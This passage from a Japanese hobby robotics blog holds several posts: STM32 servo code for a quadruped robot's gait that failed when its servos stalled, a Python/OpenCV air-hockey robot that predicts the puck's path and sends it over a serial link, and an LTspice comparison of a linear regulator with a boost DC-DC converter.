	        __HAL_TIM_SET_COMPARE(&htim2,TIM_CHANNEL_1,Angle);
	              HAL_Delay(300);
	     Angle=map(PULSED4 -40,0,120,SERVO996_LOW,SERVO996_HIGH);
	        __HAL_TIM_SET_COMPARE(&htim13,TIM_CHANNEL_1,Angle);
	              HAL_Delay(300);
	     Angle=map(PULSED3,0,120,SERVO996_LOW,SERVO996_HIGH);
	            __HAL_TIM_SET_COMPARE(&htim2,TIM_CHANNEL_1,Angle);
	              HAL_Delay(1000);
	              //after for D
	                  //after A
	             Angle=map(PULSEA3 -10,0,120,SERVO996_LOW,SERVO996_HIGH);
	                __HAL_TIM_SET_COMPARE(&htim3,TIM_CHANNEL_4,Angle);

	            Angle=map(PULSEA2 ,0,120,SERVO996_LOW,SERVO996_HIGH);
	                __HAL_TIM_SET_COMPARE(&htim1,TIM_CHANNEL_3,Angle);
	                HAL_Delay(200);
	             Angle=map(PULSEA3 ,0,120,SERVO996_LOW,SERVO996_HIGH);
	               __HAL_TIM_SET_COMPARE(&htim3,TIM_CHANNEL_4,Angle);
	                  HAL_Delay(500);
	                  //after B
	             Angle=map(PULSEB3 -10,0,120,SERVO996_LOW,SERVO996_HIGH);
	                __HAL_TIM_SET_COMPARE(&htim3,TIM_CHANNEL_1,Angle);

	            Angle=map(PULSEB2 ,0,120,SERVO996_LOW,SERVO996_HIGH);
	               __HAL_TIM_SET_COMPARE(&htim2,TIM_CHANNEL_3,Angle);
	               HAL_Delay(200);
	             Angle=map(PULSEB3,0,120,SERVO996_LOW,SERVO996_HIGH);
	                __HAL_TIM_SET_COMPARE(&htim3,TIM_CHANNEL_1,Angle);
	                HAL_Delay(1000);

	  //walking step2 before
	              Angle=map(PULSEC3 -10,0,120,SERVO996_LOW,SERVO996_HIGH);
	                 __HAL_TIM_SET_COMPARE(&htim8,TIM_CHANNEL_2,Angle);
	                       HAL_Delay(200);


	              Angle=map(PULSEC2 +15,0,120,SERVO996_LOW,SERVO996_HIGH);
	                    __HAL_TIM_SET_COMPARE(&htim4,TIM_CHANNEL_1,Angle);

	              Angle=map(PULSEC3 ,0,120,SERVO996_LOW,SERVO996_HIGH);
	                __HAL_TIM_SET_COMPARE(&htim8,TIM_CHANNEL_2,Angle);
	                  HAL_Delay(300);

	              Angle=map(PULSED3 -10,0,120,SERVO996_LOW,SERVO996_HIGH);
	               __HAL_TIM_SET_COMPARE(&htim2,TIM_CHANNEL_1,Angle);
	                   HAL_Delay(200);

	              Angle=map(PULSED2 +15,0,120,SERVO996_LOW,SERVO996_HIGH);
	                    __HAL_TIM_SET_COMPARE(&htim4,TIM_CHANNEL_4,Angle);

	              Angle=map(PULSED3,0,120,SERVO996_LOW,SERVO996_HIGH);
	                __HAL_TIM_SET_COMPARE(&htim2,TIM_CHANNEL_1,Angle);
	                      HAL_Delay(1000);

	  //walking step2
	     Angle=map(PULSEB3 -30,0,120,SERVO996_LOW,SERVO996_HIGH);
	          __HAL_TIM_SET_COMPARE(&htim3,TIM_CHANNEL_1,Angle);
	            HAL_Delay(300);
	     Angle=map(PULSEB4 -40,0,120,SERVO996_LOW,SERVO996_HIGH);
	             __HAL_TIM_SET_COMPARE(&htim3,TIM_CHANNEL_2,Angle);
	                HAL_Delay(300);
	     Angle=map(PULSEB3,0,120,SERVO996_LOW,SERVO996_HIGH);
	             __HAL_TIM_SET_COMPARE(&htim3,TIM_CHANNEL_1,Angle);
	                HAL_Delay(1000);
	  //walking step2 after
	                Angle=map(PULSEC3 -10,0,120,SERVO996_LOW,SERVO996_HIGH);
	                   __HAL_TIM_SET_COMPARE(&htim8,TIM_CHANNEL_2,Angle);
	                         HAL_Delay(200);


	                Angle=map(PULSEC2,0,120,SERVO996_LOW,SERVO996_HIGH);
	                      __HAL_TIM_SET_COMPARE(&htim4,TIM_CHANNEL_1,Angle);

	                Angle=map(PULSEC3 ,0,120,SERVO996_LOW,SERVO996_HIGH);
	                  __HAL_TIM_SET_COMPARE(&htim8,TIM_CHANNEL_2,Angle);
	                    HAL_Delay(300);

	                Angle=map(PULSED3 -10,0,120,SERVO996_LOW,SERVO996_HIGH);
	                 __HAL_TIM_SET_COMPARE(&htim2,TIM_CHANNEL_1,Angle);
	                     HAL_Delay(200);

	                Angle=map(PULSED2,0,120,SERVO996_LOW,SERVO996_HIGH);
	                      __HAL_TIM_SET_COMPARE(&htim4,TIM_CHANNEL_4,Angle);

	                Angle=map(PULSED3,0,120,SERVO996_LOW,SERVO996_HIGH);
	                  __HAL_TIM_SET_COMPARE(&htim2,TIM_CHANNEL_1,Angle);
	                        HAL_Delay(1000);

	  //walking move2
	     Angle=map(PULSEA4 -30,0,120,SERVO996_LOW,SERVO996_HIGH);
	             __HAL_TIM_SET_COMPARE(&htim2,TIM_CHANNEL_2,Angle);
	              //  HAL_Delay(1000);
	     Angle=map(PULSEC4 -40,0,120,SERVO996_LOW,SERVO996_HIGH);
	              __HAL_TIM_SET_COMPARE(&htim1,TIM_CHANNEL_2,Angle);
	              //   HAL_Delay(1000);
	      Angle=map(PULSED4 +30,0,120,SERVO996_LOW,SERVO996_HIGH);
	              __HAL_TIM_SET_COMPARE(&htim13,TIM_CHANNEL_1,Angle);
	              //   HAL_Delay(1000);
	  //walking set3(to first)
	  /*    Angle=map(-40,0,120,SERVO996_LOW,SERVO996_HIGH);
	             __HAL_TIM_SET_COMPARE(&htim8,TIM_CHANNEL_2,Angle);
	                HAL_Delay(1000);
	      Angle=map(-40,0,120,SERVO996_LOW,SERVO996_HIGH);
	             __HAL_TIM_SET_COMPARE(&htim1,TIM_CHANNEL_2,Angle);
	                 HAL_Delay(1000);
	      Angle=map(0,0,120,SERVO996_LOW,SERVO996_HIGH);
	             __HAL_TIM_SET_COMPARE(&htim8,TIM_CHANNEL_2,Angle);
	                 HAL_Delay(1000);
	   */

	              //A forward
	              Angle=map(PULSEA3 -30,0,120,SERVO996_LOW,SERVO996_HIGH);
	                 __HAL_TIM_SET_COMPARE(&htim3,TIM_CHANNEL_4,Angle);
	    //                   HAL_Delay(300);
	              Angle=map(PULSEA4 +40,0,120,SERVO996_LOW,SERVO996_HIGH);
	                 __HAL_TIM_SET_COMPARE(&htim2,TIM_CHANNEL_2,Angle);
	                       HAL_Delay(300);
	              Angle=map(PULSEA3,0,120,SERVO996_LOW,SERVO996_HIGH);
	                     __HAL_TIM_SET_COMPARE(&htim3,TIM_CHANNEL_4,Angle);
	                       HAL_Delay(500);
	               //C forward
	              Angle=map(PULSEC3 -30,0,120,SERVO996_LOW,SERVO996_HIGH);
	                 __HAL_TIM_SET_COMPARE(&htim8,TIM_CHANNEL_2,Angle);
	   //                    HAL_Delay(300);
	              Angle=map(PULSEC4 +40,0,120,SERVO996_LOW,SERVO996_HIGH);
	                 __HAL_TIM_SET_COMPARE(&htim1,TIM_CHANNEL_2,Angle);
	                       HAL_Delay(300);
	              Angle=map(PULSEC3,0,120,SERVO996_LOW,SERVO996_HIGH);
	                     __HAL_TIM_SET_COMPARE(&htim8,TIM_CHANNEL_2,Angle);
	                       HAL_Delay(500);
	                //B,D  back
          	     Angle=map(PULSEB4 +30,0,120,SERVO996_LOW,SERVO996_HIGH);
         	           __HAL_TIM_SET_COMPARE(&htim3,TIM_CHANNEL_2,Angle);
       	  	    Angle=map(PULSED4 +30,0,120,SERVO996_LOW,SERVO996_HIGH);
      	  	           __HAL_TIM_SET_COMPARE(&htim13,TIM_CHANNEL_1,Angle);
                       HAL_Delay(500);


                 //B forward
	                Angle=map(PULSEB3 -30,0,120,SERVO996_LOW,SERVO996_HIGH);
	                   __HAL_TIM_SET_COMPARE(&htim3,TIM_CHANNEL_1,Angle);
	       //                  HAL_Delay(300);
	                Angle=map(PULSEB4 -30,0,120,SERVO996_LOW,SERVO996_HIGH);
	                        __HAL_TIM_SET_COMPARE(&htim3,TIM_CHANNEL_2,Angle);
	                     HAL_Delay(300);
	                Angle=map(PULSEB3,0,120,SERVO996_LOW,SERVO996_HIGH);
	                     __HAL_TIM_SET_COMPARE(&htim3,TIM_CHANNEL_1,Angle);
	                    HAL_Delay(500);

	               //D forward
	               Angle=map(PULSED3 -30,0,120,SERVO996_LOW,SERVO996_HIGH);
	                 __HAL_TIM_SET_COMPARE(&htim2,TIM_CHANNEL_1,Angle);
	       //                HAL_Delay(300);
	              Angle=map(PULSED4 -40,0,120,SERVO996_LOW,SERVO996_HIGH);
	                 __HAL_TIM_SET_COMPARE(&htim13,TIM_CHANNEL_1,Angle);
	                       HAL_Delay(300);
	              Angle=map(PULSED3,0,120,SERVO996_LOW,SERVO996_HIGH);
	                     __HAL_TIM_SET_COMPARE(&htim2,TIM_CHANNEL_1,Angle);
	                       HAL_Delay(500);
	                //A,C back
            	     Angle=map(PULSEA4 -30,0,120,SERVO996_LOW,SERVO996_HIGH);
          	             __HAL_TIM_SET_COMPARE(&htim2,TIM_CHANNEL_2,Angle);
          	  	     Angle=map(PULSEC4 -40,0,120,SERVO996_LOW,SERVO996_HIGH);
          	  	              __HAL_TIM_SET_COMPARE(&htim1,TIM_CHANNEL_2,Angle);
   	                       HAL_Delay(500);

動画

youtu.be

結果

動画をみると明らかであるが、うまくいかなかった。機体が重すぎて、サーボモータの出力では足りず、ストールしているのがわかる。
つまり、サーボモータは60度を出力していても、実際にはストールして動かず0度のままである、ということが頻繁に起きてしまったのである。
このプログラムは、あらかじめ歩行パターンを作成しておき、それに基づいて歩くように書いたプログラムである。機体の姿勢によって出力できる角度とできない角度があり、それを一つずつ確認していくともっとうまくいくかもしれない。
しかし、それをするのも時間の無駄なきがするので、今回はここで諦めた。
敗因としては、安いサーボモータを使ったことで重量オーバーしてしまったことがあげられるので、今度は重量とトルクには細心の注意を払いたい。
また、音声合成LSIを使ってしゃべらせようとしていたが、それをする余裕がなくなったため、次回に回すことにした。
次回は逆運動学の基づいて歩くように設計したい。


まとめ

4足歩行ロボットを作るのは難しい

画像処理を用いたエアホッケーロボット

今回は、画像処理についての記事です。

pythonで書いてます。動画もあるヨ!

なお、ここからは口調が変えて真面目に書きます。

エアホッケーロボットとは

 

エアホッケーロボットとは、人間と対戦して勝利することを想定したロボットである。自作のエアホッケー台を用意し、これにロボットを設置した。

制御について

ロボットの制御としては、まずカメラでとらえた映像を私のノートパソコンに送り、そこで画像処理をして、パック(エアホッケーで使われる丸い白い円盤)が到達するであろう座標を計算して、マイコンにその計算結果をシリアル通信で送信し、マイコンエンコーダーを用いたPID制御でロボットを動かした。

開発環境

 使用したマイコンはSTM32F446REである。マイコン側の開発環境はSystem Workbench for STM32(通称SW4STM32)で、CubeMXというマイコンの回路などの設定をするツールで設定して、それをEclipseに吐き出してEclipse上でプログラミングをした。これらの開発環境は総称してHALと呼ばれるものである。用いた言語はCである。

 一方、ノートパソコンの方では、開発環境はWinpythonで、VScode上でプログラミングした。使用した言語はpythonである。用いたライブラリはserialとnumpyとopencvである。以下、画像処理のプログラムについて詳しく述べる。

ソースコード

以下に実際に使用したソースコードを載せる。

動けばいいや、と思って書いたので、幼稚なプログラムで恐縮です。
皆さんは、参考程度にしてください。
関数の名前などは以下の文章と対応しているので、適宜見てほしい。

コメントアウトは特に意味はないので、無視してほしい。

 

import cv2
import numpy as np
import math
import time
import serial
# mode change1
n=0
t=0
count = 0

def morph_and_blur2(img):
kernel = np.ones((8,8),np.uint8)
m = cv2.GaussianBlur(img,(3,3),0)
m = cv2.erode(m,kernel,iterations = 1)
# m = cv2.morphologyEx(m,cv2.MORPH_OPEN,kernel,iterations=2)
m = cv2.GaussianBlur(m,(5,5),0)
return m

def binary_threshold2(frame):
grayed = cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY)
morph = morph_and_blur2(grayed)
under_thresh = 245
upper_thresh = 180
maxvalue = 255
th,drop_back = cv2.threshold(morph,under_thresh,maxvalue,cv2.THRESH_BINARY)
th,clarify_born = cv2.threshold(morph,upper_thresh,maxvalue,cv2.THRESH_BINARY_INV)
merged = np.maximum(drop_back,clarify_born)
return merged

 


def padding_position(x,y,w,h,p):
return x-p,y-p,w+p*2,h+p*2


def detect_contour(path, min_size):
# contoured = cv2.cvtColor(path,cv2.COLOR_BGR2GRAY)
contoured = binary_threshold2(path)
forcrop = path
global centerx
global centery
centerx = 0
centery = 0 
birds = binary_threshold2(path)
birds = cv2.bitwise_not(birds)

im2,contours,hierarchy = cv2.findContours(birds,cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE)

crops = []

for c in contours:
if cv2.contourArea(c) < min_size:
continue 
x,y,w,h = cv2.boundingRect(c)
x,y,w,h = padding_position(x,y,w,h,5)

cropped = forcrop[y:(y+h),x:(x+w)]
crops.append(cropped)

cv2.drawContours(contoured,c,-1,(0,0,255),3)
cv2.rectangle(contoured,(x,y),(x+w,y+h),(0,255,0),3)

centerx = int(math.floor(x+w/2))
centery = int(math.ceil(y+h/2))
return contoured, crops,centerx,centery

class point:
def __init__(self,x,y):
self.x = float(x)
self.y = float(y)

def get_line_intersection(A1,A2,B1,B2):
a = A2.y - A1.y
b = -B2.y + B1.y
c = A2.x - A1.x
d = -B2.x + B1.x
C1 = B1.y - A1.y
C2 = B1.x - A1.x

tmp = a*d - b*c

if tmp:
invMa = d /tmp
invMb = -b /tmp
invMc = -c /tmp
invMd = a /tmp

m = invMa*C1 + invMb*C2
n = invMc*C1 + invMd*C2
secx = int(A1.x + m*(A2.x - A1.x))
secy = int(A1.y + m*(A2.y - A1.y)) 
secx = abs(secx)
secy = abs(480-secy)
return secx,secy

else:
secx=205
secy=50
return secx,secy


capture = cv2.VideoCapture(0)
median = np.full(5,0,dtype="uint16")
mediany = np.full(9,0,dtype="uint16")
triming1x = 200
triming2x = 30
h = 480
w = 640
widthx = w - (triming1x + triming2x)
heighty = 450
tyusin = int(widthx/2)
encx = 2000
ency = 1800
ceny = int(h/2)
cenx = int(w/2)
scale = 1.0
angle = 0.0

 

ser = serial.Serial('COM7',115200,timeout=1)
while(1):
#time.sleep(1)
start = time.time()
ret,frame = capture.read()
rotation_matrix = cv2.getRotationMatrix2D((cenx,ceny),angle,scale)
img_rot = cv2.warpAffine(frame,rotation_matrix,(w,h),flags=cv2.INTER_CUBIC)

dst = img_rot[0:h,0+triming1x:w-triming2x]
contoured1, crops1,centerx1,centery1 = detect_contour(dst,1000)
ret, frame = capture.read()
img_rot = cv2.warpAffine(frame,rotation_matrix,(w,h),flags=cv2.INTER_CUBIC)
dst = img_rot[0:h,0+triming1x:w-triming2x]

contoured2, crops2, centerx2, centery2 = detect_contour(dst,1000)
contoured2 = cv2.circle(contoured2,(centerx1,centery1),10,(0,0,0),-1)
contoured2 = cv2.circle(contoured2,(centerx2,centery2),10,(0,0,0),-1)

A1 = point(0,h-1)
A2 = point(w-1,h-1)
B1 = point(centerx1,centery1)
B2 = point(centerx2,centery2)

 


cv2.line(contoured2,(centerx1,centery1),(centerx2,centery2),(255,0,0),1)

secx,secy = get_line_intersection(A1,A2,B1,B2)
print('centery2:'+str(centery2))
#print('secy:'+str(secy))

if centery2>200 and int(t)<60:
secx = int(centerx2 / widthx*encx)
secy = int(abs(h-centery2) / heighty*ency)
secx_str = str(int(secx))
secy_str = str(int(secy))
secx_zero = secx_str.zfill(4)
secy_zero = secy_str.zfill(4)

value = secx_zero + secy_zero + "s"
print("yyyyyyyyyyyyyyyyy")
print(int(t))
print(value)
print(w,h)

print('portstr',ser.portstr)
value2=value.encode('utf-8')
ser.write(value2)
contoured2 = cv2.circle(contoured2, (secx,secy),10,(255,0,0),-1)
cv2.line(contoured2,(centerx2,centery2),(secx,secy),(255,0,0),1)
cv2.namedWindow('image',cv2.WINDOW_NORMAL)
cv2.imshow('image',contoured2)
cv2.imshow('image2',dst)
elapsed_time = time.time() - start
t = t + elapsed_time
print("elapsed_time:{0}".format(t)+"[sec]")
count = 0
if cv2.waitKey(1) & 0xFF == ord('q'):
break 
continue

secx = abs(secx)
while(secx>(widthx-1)):
a = secx - (widthx-1)
secx = abs((widthx-1)-a)
median = np.append(median,int(secx))
median = np.delete(median,0)
m = np.median(median)
m = int(m/widthx*encx)

mediany = np.append(mediany,int(secy))
mediany = np.delete(mediany,0)
my = np.median(mediany)
my = int(my/heighty*ency)

 

 


secy = int(secy/heighty*ency)
if n == m:
if count == 0:

secx = int(tyusin/ widthx*encx)
secy = int( 80/ heighty*ency)
secx_str = str(int(secx))
secy_str = str(int(secy))
secx_zero = secx_str.zfill(4)
secy_zero = secy_str.zfill(4)

value = secx_zero + secy_zero + "s"
print('portstr',ser.portstr)
value2=value.encode('utf-8')
ser.write(value2)
count = 1
contoured2 = cv2.circle(contoured2, (secx,secy),10,(255,0,0),-1)
cv2.line(contoured2,(centerx2,centery2),(secx,secy),(255,0,0),1)
cv2.namedWindow('image',cv2.WINDOW_NORMAL)
cv2.imshow('image',contoured2)
cv2.imshow('image2',dst)
elapsed_time = time.time() - start
t = t + elapsed_time
print("elapsed_time:{0}".format(t)+"[sec]")
if cv2.waitKey(1) & 0xFF == ord('q'):
break 
continue


contoured2 = cv2.circle(contoured2, (secx,secy),10,(255,0,0),-1)
cv2.line(contoured2,(centerx2,centery2),(secx,secy),(255,0,0),1)
cv2.namedWindow('image',cv2.WINDOW_NORMAL)
cv2.imshow('image',contoured2)
cv2.imshow('image2',dst)

count = 0

print('aaaaaaaaaaaaaaa')
elapsed_time = time.time() - start
t = t + elapsed_time
print("elapsed_time:{0}".format(t)+"[sec]")
if cv2.waitKey(1) & 0xFF == ord('q'):
break 
continue

secy = int(50/heighty*ency)
n = m
print('only x')
secx_str = str(int(m))
secy_str = str(int(secy))
secx_zero = secx_str.zfill(4)
secy_zero = secy_str.zfill(4)
value = secx_zero + secy_zero + "s"
print(value)

contoured2 = cv2.circle(contoured2, (m,secy),10,(255,0,0),-1)
cv2.line(contoured2,(centerx2,centery2),(m,secy),(255,0,0),1)
cv2.namedWindow('image',cv2.WINDOW_NORMAL)
cv2.imshow('image',contoured2)
cv2.imshow('image2',dst)
if cv2.waitKey(1) & 0xFF == ord('q'):
break 
print('portstr',ser.portstr)
value2=value.encode('utf-8')
ser.write(value2)
elapsed_time = time.time() - start
t = t + elapsed_time
print("elapsed_time:{0}".format(t)+"[sec]")
count = 0
# time.sleep(0.05)

ser.close()
capture.release()
cv2.destroyAllWindows()

 

 

 

本題の画像処理

 まず、今回のプログラムの仕組みについて簡単に述べる。まずカメラから入手したフレームを2枚用意し、前処理と白黒二値化した画像を用意して、パックかどうか判別する関数を用いてパックの現在地を判別する。

 そうして、二つのフレームにおける座標をもとに、直線を作成して、ロボット側の底辺と交わる座標を求める。この時、反射も考慮して、実際の座標に対応する座標を求める。

 これによって、近似的にパックの来るである座標を求めることができる。

前処理について

 まず生のフレームをカメラから入手したときに前処理をして、判別しやすいように画像データを変換する。

 まず、opencvのcv2.cvtColorを用いてRGB画像からGRAY画像に変換する。この理由は、画像をRGB画像として処理するとデータのサイズが大きくなってしまうので、今回のような速さが求められるプログラムでは白黒で処理することにした。

 次に、この画像データをcv2.GaussianBlur, cv2.erodeというopencvの関数を用いてぼやけさせたり、対象の周囲をnumpyで作成した配列分ピクセルだけ侵食することでノイズの影響を小さくする。この理由としては、今回はパックを白色、背景となるホッケー台を茶色で行ったが、ロボットを金属で作ったために光の反射などにより白色と誤認識することがあるため、この前処理は必須であった。

 次に、cv2.thresholdを用いることでGRAY画像を黒と白の完全な二値画像に変換した。手順としては、白として得たい、パックの部分の画像と、背景として得たいそれ以外の部分をcv2.thresholdで二つ作成しておき、これらをnp.maximumによって結合することで得られる。この時、境界となるGRAYの値を0~255のうち適切なものを選ぶことで光の反射による比較的明るい白と、パックの白をある程度までなら区別することができた。

 次に、判別する関数の部分について述べる。ここではcv2.findContoursという関数を用いた。この関数は、白黒の二値画像を入力として、白の部分のピクセルを一つ見つけると、その周囲のピクセルについて白色のピクセルがあるかどうか探索し、あればそのピクセルに移動して再度探索をするというものである。つまり、白色で閉じている部分の面積を求めているのである。

 この関数の戻り値を、cv2.boundingRect関数の引数として計算すると、白で閉じている部分のピクセルのうちxy座標が最も小さい座標と、閉じている部分の縦と横の長さが得られる。これによって、パックをより正確に検出するために、ある値の面積を決めておき、それ以上ならパックである、また、縦と横の長さがある値からある値までの範囲をとっていればパックである、というような条件を付けることが可能である。このようにして、画像からあるものを検出することができる。

実際の制御について

 

 まず、前提として、今回のロボットはx、y座標に動く直動機構のロボットである。それぞれのモータがラック上で回転し、それをエンコーダーでフィードバックすることで現在地を把握している。

 まず、基本的にロボットは、パックを入れるゴールの中心に待機することにした。そして、ロボット側から見て左右をx軸とすると、パックが来た時はまずx軸上の予想された座標にロボットを動かすことを優先する。

 そして、そこにたどり着いた後にy軸とx軸について現在のパックの座標にロボットを動かす。そうすることで、理論上は少なくてもパックに間に合いさえすれば、パックを打ち返せるはずである。

 また、y軸について、ラックの長さ以上の座標にロボットを動かすことはできないため、if文で分岐するようにした。

 また、パックの予想座標をマイコンに送信するときに、常に値を送信していると、マイコンのバッファを破壊してしまうことになりかねないため、送信する値と前回の値の値にあまり変化がない場合は送信しないようにする、という機能を中央値を取ることで実装した。

結果(まとめ?)

 結果としては、画像処理を用いたロボットを自動で動かすことはできたが、反応がかなり遅く、人間に勝てるロボットは到底作れなかった。この遅さは異常で、プログラムが正しく動いていればもっと速く動いているはずであった。

 この原因としてはやはり、マイコンのバッファに値を一方的に大量に送り付けすぎていることがあげられる。実際に、値を一つだけ送る場合では問題なくすぐに動いた。

 また、なぜかロボットを動かしていると、エンコーダーの値がどんどんずれていくという現象が発生し、最大でも一分半程度しか連続して動かせなかった。それ以上動かすと、ロボットがラックから外れてストールしてしまった。この対策としては、動かす範囲の両端にリミットスイッチを作成し、エンコーダーの値を初期化することがあげられるが、これを実装するとロボットにおかしな挙動がみられたため、やむを得ずデバッグを断念した。

 また、画像処理の部分では、照明の明るさなどによってパックや背景の明るさは変化するため、朝と夜では閾値が異なり、定期的なパラメータ調整が必要であった。

 また、カメラ自身が揺れることでそもそもの画像にずれが生じてしまうこともあった。このため、画像のトリミングや回転などをその都度調整する必要があった。

改善案?

 

 改善点としては、まずマイコンのバッファの破壊を防ぐために、ノートパソコン側でPID制御も行い、必要な出力だけをマイコンに渡すようにすることである。このためには、エンコーダーの代わりに、ノートパソコン側でパックだけでなくロボットの認識も 行う必要がある。

 また、今回のパックの予測ではパックは直線で進み、反射するときは常に反射の法則が成り立つとしていたが、そんなわけはないので、線形回帰を用いた機械学習を導入することがあげられる。画像を特徴量とするのではなく、画像を処理して得られたパックの座標、二つのフレームでのパックの移動量(つまりベクトル)を特徴量として線形回帰を用いることで、パックの位置とタイミングをより正確に、より早く得られるはずである。

 また、そもそもpythonの処理が遅いため、C++を用いたopencvによるプログラムにするべきである。

 また、カメラの揺れを補正するために、エアホッケー台を自動で検出する機能も付けるべきである。

 

 

まとめ(2回目)

画像処理は奥が深いなあ

 

DCDCコンバータと3端子レギュレータの比較

ご挨拶

どうも、初めまして。花京院です。

技術系のサークルでロボットなどを作っています。

今回は、自分のやったことをとりあえず記録していこうと思ってブログをはじめました。ブログはこれが初めてで、至らぬ文章ですが、読んでもらえるとありがたいです。

 DCDCコンバータと3端子レギュレータの比較

さて、自己紹介はこれくらいにして、今回の本題「DCDCコンバータと3端子レギュレータの比較」について話したいと思います。今回は、LTspice上で二つを比較してみたいと思います。

まず、DCDCコンバータ、3端子レギュレータについてですが、この二つの回路は、一定の電圧を得る回路として用いられることが多いです。

3端子レギュレータとは

3端子レギュレータとは、文字通り3端子がVin, Vout, GNDであり、これらを指示通りにつなぐことで3.3Vや5.0Vを得ることができる素子です。秋月電子などで比較的安価で手に入ります。

DCDCコンバータとは

DCDCコンバータとは、コイルやコンデンサなどを用いて一定の電圧を得る回路です。DCDCコンバータは、降圧だけでなく、昇圧や反転なども可能です。

3端子レギュレータの回路図

では、紹介はこれくらいにして実際の回路を見てみましょう。

 

f:id:kakyouim:20190513202823p:plain

図1 3端子レギュレータの回路

図1は3端子レギュレータの回路をLTspice上で設計したものです。

これは、5Vの入力電圧から3Vの定電圧を得る回路です。

用いている部品について解説します。

3端子レギュレータの回路の解説

 まず、2SC1815は可変抵抗の役割をするトランジスタです。トランジスタは、ベース・エミッタ間に電流を流すことでコレクタ・エミッタ間に電流が流れる素子です。

これはスイッチの機能と捉えることができますが、実際にはベース電流を変化させるとコレクタ電流も変化するため可変抵抗とみなすことができます。

 次に、R1,R2は帰還抵抗です。出力電圧をR1,R2で分圧してその電圧を誤差増幅器にフィードバックしています。出力電圧はこの分圧比で決まります。

 次に、V2は基準電圧です。誤差増幅器の+端子に接続します。1V前後を出力します。

 ちなみに、.tranという文言は、「過渡解析を50ms行う」というものです。

次に、Q1は誤差増幅器です。これは、+端子とー端子の電圧差を増幅した電圧を

出力するオペアンプです。定常状態では+とーの電圧が等しくなります。

つまり数式は(1)のようになります。

 

    Vfb = Vref      (1)

    Vfb = Vout × R2 / (R1+R2)    (2)

(1)(2)に代入して、

    Vref = Vout × R2 / (R1+R2)

 

よって、    Vout = Vref × (R1+R2) / R2

 

すなわち、Voutは基準電圧源と分圧比によってのみ決まります。

 

 DCDCコンバータの回路図

f:id:kakyouim:20190513204608p:plain

図2 DCDCコンバータの回路

 

次に、図2にDCDCコンバータの回路を示します。

DCDCコンバータの回路図の解説

これは、昇圧DCDCコンバータ回路です。

2SC1815はスイッチの機能として使われているトランジスタです。ベース電圧にDuty比50のパルス波を出力して高速でスイッチングしています。
 スイッチがONの時、コイルに電流が流れて時期エネルギーが蓄えられます。スイッチがOFFの時、溜まったエネルギーがコイルからダイオードに流れます。この電流によって、出力コンデンサが充電されて出力電圧は上昇します。
 この回路での定常状態は、ONの時のコイル電流の増加量とOFFの時の減少量が等しくなった時です。この時、Vout電圧の上昇が止まります。

 

スイッチがONの時のコイルに流れる電流の増加量は、


    ∆I= 1/L ×Vin × Ton (4)

 

スイッチがOFFの時のコイルに流れる電流の減少量は、


    ∆I= 1/L ×(Vout-Vin)×Toff (5)


コイルに流れる電流の増加量と減少量が等しいとき、(4)=(5)なので


Vout = (Ton+Toff) / Toff ×Vin (6)

 

 3端子レギュレータの実行結果

次に、これらの回路の実行結果について解説します。

まずは、3端子レギュレータの回路の実行結果です。

f:id:kakyouim:20190513205455p:plain

図3 3端子レギュレータの回路の過渡解析結果

 

図3は図1の回路の実行結果を表しています。

まず、図3を見ると明らかなように、3Vが常に一定に得られました。

この3Vという数値は(3)より、基準電圧と帰還抵抗R1,R2の比によって決まります。


今回の場合は、


    Vout= (1k+2k)/1k ×1V


よって、Vout = 3Vが得られます。


    Vin=5V, Vout=3Vより、

トランジスタの前後にかかる電圧は、


    V= 5V-3V=2V

 

次に、エネルギー効率の観点から考察したいと思います。
トランジスタを流れる電流の値は、図3より、I = 4.0mAと読み取れます。
よって、

トランジスタで熱として消費されるエネルギーPは、


    P=I ×V=8mW


入力時のエネルギーPin,出力時のエネルギーPoutは、


    Pin =4.0mA ×5V=20mW
    Pout=4.0mA ×3V=12mW


したがって、入力されたエネルギーのうちの40%が熱として消費されてしまっていることがわかります。

 DCDCコンバータの実行結果

次に、DCDCコンバータの回路の実行結果について説明します。

f:id:kakyouim:20190513210418p:plain

図4 DCDCコンバータの回路の結果

図4は、図2の回路を実行した結果です。

 

Vdが急峻になっているのは、蓄えらえれた電流が、


    V=L di/dt


によって、電圧に変換されているからです。この電圧はサージ電圧と呼ばれています。


また、この回路の出力電圧は(6)より、


    Vout= (1m+1m)/1m ×1.5V=3.0V


が期待されます。

しかし、実際には図4のように5V付近で定常状態となっています。これはいったいなぜでしょうか?

この理由は、

スイッチがONの時のコイルに流れる電流の増加量の、


    ∆I= 1/L ×Vin × Ton (4)

 と、

スイッチがOFFの時のコイルに流れる電流の減少量の、


    ∆I= 1/L ×(Vout-Vin)×Toff (5)

 が等しくないからです。

「不連続モード」と「連続モード」

ではなぜ等しくないのでしょうか?

この時の、コイルに流れる電流を見てみます。

f:id:kakyouim:20190513212137p:plain

図5 コイルに流れる電流

図5に、コイルに流れる電流を示します。

これを見ると、電流が0になったり、300mAになったりと、不安定な挙動をしています。

しかも、300mAからすぐに0Aになっており、放電がとても短い間に行われています。

このような場合、電流の増加量=減少量の等式は成り立ちません。

このような場合のことを、「不連続モード」と言います。

 

それでは、この等式が成り立つように、コイルの値を1m[H]から1[H]に変えてみましょう。

f:id:kakyouim:20190513213854p:plain

図6 コイルに流れる電流

実行結果は図6のようになりました。

さっきとは違って、電流が0になっているような箇所はなく、安定しているのがわかります。

このような時を「連続モード」といいます。

 

 

それでは、この時の出力電圧を確認してみます。

f:id:kakyouim:20190513214200p:plain

図7 L=1の時のDCDCコンバータの回路の結果

図7はL=1の時の出力結果です。

これを見ると、出力電圧Voutは、

    Vout = 2.4V

の時に、安定になっているのがわかります。

期待される電圧の3.0Vよりも0.6V低い値となっています。

これは、ダイオードによる電圧降下の値です。

実際に、Vdでは3.0V付近で安定になっていることがわかります。

 

それでは、この時のエネルギー効率について考察してみます。

 

 

入力時のエネルギーPin,出力時のエネルギーPoutは、


    Pin =5.0mA ×1.5V=7.5mW
    Pout=2.4mA ×3V=7.2mW


したがって、入力されたエネルギーのうちの4%が熱として消費されていることがわかります。

多少の誤差はありますが、ほぼ100%のエネルギー効率となっています。

 

ここで、出力電流は以下の図8から得られました。

f:id:kakyouim:20190513215623p:plain

図8 R2を流れる電流(出力電流)

 まとめ

3端子レギュレータを用いる場合は、一定の電圧を得ることができる。

ただし、その値は抵抗比によって決まるため、任意の値の電圧を得るには抵抗を外付けする必要がある。

エネルギー効率はあまりよくない。

DCDCコンバータを用いる場合は、ある電圧を得ることはできるが、その値はギザギザで一定ではない。

また、不連続モードと連続モードでは、出力電圧を求める式が変わってくる。

